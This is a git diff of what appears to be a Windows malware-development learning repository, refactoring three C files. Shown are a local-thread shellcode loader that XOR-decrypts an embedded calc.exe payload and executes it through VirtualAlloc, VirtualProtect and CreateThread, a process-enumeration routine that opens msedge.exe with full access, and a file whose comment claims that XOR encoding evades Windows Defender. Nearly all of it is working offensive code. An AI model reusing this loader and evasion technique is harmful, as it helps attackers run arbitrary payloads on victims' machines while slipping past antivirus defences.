diff --git a/local_thread.c b/local_thread.c index 842bc62..93dabfc 100644 --- a/local_thread.c +++ b/local_thread.c @@ -1,5 +1,6 @@ #include #include +#include /* Simple local thread shellcode execution. @@ -7,7 +8,7 @@ */ // Xored shellcode with calc.exe -UINT8 CalcShellcodeXored[] = { +uint8_t calc_shellcode_xored[] = { 0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B, 0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31, 0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0, @@ -29,63 +30,62 @@ UINT8 CalcShellcodeXored[] = { 0x15, 0x65, }; -UINT8 XorKey[] = { +uint8_t xor_key[] = { 'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y' }; - -VOID XorByKey(IN OUT PBYTE pShellcode, IN CONST SIZE_T szShellcode, IN CONST PBYTE pKey, IN CONST SIZE_T szKey) { - for (SIZE_T i = 0; i < szShellcode; i++) { +void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) { + for (size_t i = 0; i < shellcode_sz; i++) { // Get byte of key - UINT8 bKey = pKey[i % szKey]; + uint8_t byte_key = key[i % key_sz]; // Calculate value - pShellcode[i] = pShellcode[i] ^ bKey; + shellcode[i] = shellcode[i] ^ byte_key; } } -VOID PrintBytes(IN CONST PBYTE bytes, IN CONST SIZE_T szBytes) { - for (SIZE_T i = 0; i < szBytes; i++) { +void print_bytes(IN const uint8_t bytes[], IN const size_t bytes_sz) { + for (size_t i = 0; i < bytes_sz; i++) { if (i > 0 && i % 15 == 0) { printf("\n"); } - printf("0x%02X, ", CalcShellcodeXored[i]); + printf("0x%02X, ", calc_shellcode_xored[i]); } } -INT main() { +int main() { // Allocate memory - LPVOID pMem = VirtualAlloc(NULL, sizeof(CalcShellcodeXored), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); - if (pMem == NULL) { + void* mem= VirtualAlloc(NULL, sizeof(calc_shellcode_xored), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (mem == NULL) { printf("[!] VirtualAlloc error: %d \n", GetLastError()); return -1; } // Decrypt the shellcode - XorByKey(CalcShellcodeXored, sizeof(CalcShellcodeXored), XorKey, sizeof(XorKey)); + xor_by_key(calc_shellcode_xored, sizeof(calc_shellcode_xored), xor_key, sizeof(xor_key)); // Copy the shellcode to the allocated memory - memcpy(pMem, CalcShellcodeXored, sizeof(CalcShellcodeXored)); + memcpy(mem, calc_shellcode_xored, sizeof(calc_shellcode_xored)); // Set original shellcode to 0 - memset(CalcShellcodeXored, 0x00, sizeof(CalcShellcodeXored)); + memset(calc_shellcode_xored, 0x00, sizeof(calc_shellcode_xored)); // Change allocated memory permissions - PDWORD dwOdlProtect = NULL; - if (!VirtualProtect(pMem, sizeof(CalcShellcodeXored), PAGE_EXECUTE, &dwOdlProtect)) { + DWORD old_protect = NULL; + if (!VirtualProtect(mem, sizeof(calc_shellcode_xored), PAGE_EXECUTE, &old_protect)) { printf("[!] VirtualProtect error: %d \n", GetLastError()); return -1; } // Create a thread - HANDLE hThread = CreateThread(NULL, NULL, pMem, NULL, NULL, NULL); - if (hThread == NULL) { + HANDLE thread = CreateThread(NULL, NULL, mem, NULL, NULL, NULL); + if (thread == NULL) { printf("[!] CreateThread error: %d \n", GetLastError()); return -1; } - WaitForSingleObject(hThread, INFINITE); + WaitForSingleObject(thread, INFINITE); // Exit printf("\n\nPress To Quit ..."); diff --git a/process_enumeration_snapshot.c b/process_enumeration_snapshot.c index 5cea222..b16d797 100644 --- a/process_enumeration_snapshot.c +++ b/process_enumeration_snapshot.c @@ -2,70 +2,66 @@ #include #include #include +#include -/* - Enumerate OS processes using WinAPI snapshot. - Find a process by name and open it. -*/ - -VOID ToLowercaseW(IN PWCHAR pSrc, OUT PWCHAR pDest) { - for (SIZE_T i = 0; i < wcslen(pSrc); i++) { - pDest[i] = (WCHAR) tolower(pSrc[i]); - pDest[i + 1] = '\0'; +void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) { + for (size_t i = 0; i < wcslen(src); i++) { + dest[i] = (wchar_t) tolower(src[i]); + dest[i + 1] = '\0'; } } -BOOL FindProcess(IN CONST PWSTR pProcName, OUT PHANDLE hProc, OUT PROCESSENTRY32* pProcEntry) { +bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) { /* Return: TRUE - if process has been found and opened (:pProcName and :hProc are populated) FALSE - if something failed (reading :pProcName and :hProc is undefined behavior) */ - HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnap == INVALID_HANDLE_VALUE) { + HANDLE snap= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) { printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError()); return FALSE; } - if (!Process32First(hSnap, pProcEntry)) { + if (!Process32First(snap, proc_entry)) { printf("[!] Process32First error: %d \n", GetLastError()); return FALSE; } // Prepare lowercase process name - WCHAR ProcessName[MAX_PATH]; + wchar_t process_name[MAX_PATH]; do { - ToLowercaseW(pProcEntry->szExeFile, ProcessName); + to_lowercase(proc_entry->szExeFile, process_name); - printf("Proc: %5d | %ls \n", pProcEntry->th32ProcessID, ProcessName); + printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name); - if (wcscmp(ProcessName, pProcName) == 0) { - *hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pProcEntry->th32ProcessID); - if (*hProc == NULL) { + if (wcscmp(process_name, proc_name) == 0) { + *proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID); + if (*proc == NULL) { printf("[!] OpenProcess error: %d \n", GetLastError()); return FALSE; } return TRUE; } - } while (Process32Next(hSnap, pProcEntry)); + } while (Process32Next(snap, proc_entry)); return FALSE; } INT main() { - HANDLE hProc = NULL; - PROCESSENTRY32 ProcEntry = { + HANDLE proc = NULL; + PROCESSENTRY32 proc_entry = { // According to the documentation, this value must be initialized .dwSize = sizeof(PROCESSENTRY32) }; - if (!FindProcess(L"msedge.exe", &hProc, &ProcEntry)) { + if (!find_process(L"msedge.exe", &proc, &proc_entry)) { printf("[!] FindProcess failed \n"); } else { - printf("[+] Process opened: (%d) %ls \n", ProcEntry.th32ProcessID, ProcEntry.szExeFile); + printf("[+] Process opened: (%d) %ls \n", proc_entry.th32ProcessID, proc_entry.szExeFile); } // Exit diff --git a/xor_payload.c b/xor_payload.c index f9b5b76..9e856d4 100644 --- a/xor_payload.c +++ b/xor_payload.c @@ -1,5 +1,6 @@ #include #include +#include /* Simple XOR of shellcode evades Windows Defender. @@ -7,7 +8,7 @@ */ // Xored shellcode with calc.exe -UINT8 CalcShellcodeXored[] = { +uint8_t calc_shellcode_xored[] = { 0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B, 0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31, 0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0, @@ -29,37 +30,36 @@ UINT8 CalcShellcodeXored[] = { 0x15, 0x65, }; -UINT8 XorKey[] = { +uint8_t xor_key[] = { 'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y' }; - -VOID XorByKey(IN OUT PBYTE pShellcode, IN CONST SIZE_T szShellcode, IN CONST PBYTE pKey, IN CONST SIZE_T szKey) { - for (SIZE_T i = 0; i < szShellcode; i++) { +void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) { + for (size_t i = 0; i < shellcode_sz; i++) { // Get byte of key - UINT8 bKey = pKey[i % szKey]; + uint8_t byte_key = key[i % key_sz]; // Calculate value - pShellcode[i] = pShellcode[i] ^ bKey; + shellcode[i] = shellcode[i] ^ byte_key; } } -VOID PrintBytes(IN CONST PBYTE bytes, IN CONST SIZE_T szBytes) { - for (SIZE_T i = 0; i < szBytes; i++) { +void print_bytes(IN const uint8_t bytes[], IN const size_t bytes_sz) { + for (size_t i = 0; i < bytes_sz; i++) { if (i > 0 && i % 15 == 0) { printf("\n"); } - printf("0x%02X, ", CalcShellcodeXored[i]); + printf("0x%02X, ", calc_shellcode_xored[i]); } } -INT main() { - XorByKey(CalcShellcodeXored, sizeof(CalcShellcodeXored), XorKey, sizeof(XorKey)); +int main() { + xor_by_key(calc_shellcode_xored, sizeof(calc_shellcode_xored), xor_key, sizeof(xor_key)); // Print xored shellcode printf("Decrypted shellcode: \n"); - PrintBytes(CalcShellcodeXored, sizeof(CalcShellcodeXored)); + print_bytes(calc_shellcode_xored, sizeof(calc_shellcode_xored)); // Exit printf("\n\nPress To Quit ...");